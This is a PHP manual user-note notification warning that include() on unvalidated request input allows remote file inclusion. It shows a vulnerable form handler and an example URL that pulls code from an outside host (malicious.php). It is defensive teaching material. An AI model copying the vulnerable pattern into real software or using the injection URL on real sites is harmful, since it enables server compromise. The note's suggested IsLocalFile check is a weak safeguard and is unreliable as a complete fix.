note 41023 added to function.include

BE CAREFUL WITH INCLUDE! IT CAN EASILY BE USED TO INJECT MALICIOUS CODE TO COMPROMISE YOUR SERVER OR SITE! Here's an example: <form> <SELECT NAME="show"> <OPTION VALUE="catalog.php">Catalog</OPTION> <OPTION VALUE="forms.php">Forms</OPTION> </SELECT> <INPUT TYPE=SUBMIT> </form> And the handling PHP: <? include $_REQUEST[show]; ?> Oooops! You just hung yourself! Somebody could submit a URL like http://yoursite.com/thescript.php?show=http://mysite.com/malicious.php and the game is over, since any content in malicious.php just now became part of *your* application!!!! As always, validate - validate - validate, and when you are done, validate once more, just to be sure. Here's a test you can use to reduce the problem: Function IsLocalFile($file) { if (strlen($file)) { if (!$stat=@stat($file)) return false; elseif (!$stat[gid]) return false; return true; } return false; } ---- Manual Page -- http://www.php.net/manual/en/function.include.php Edit -- http://master.php.net/manage/user-notes.php?action=edit+41023 Delete -- http://master.php.net/manage/user-notes.php?action=delete+41023&report=yes Reject -- http://master.php.net/manage/user-notes.php?action=reject+41023&report=yes Search -- http://master.php.net/manage/user-notes.php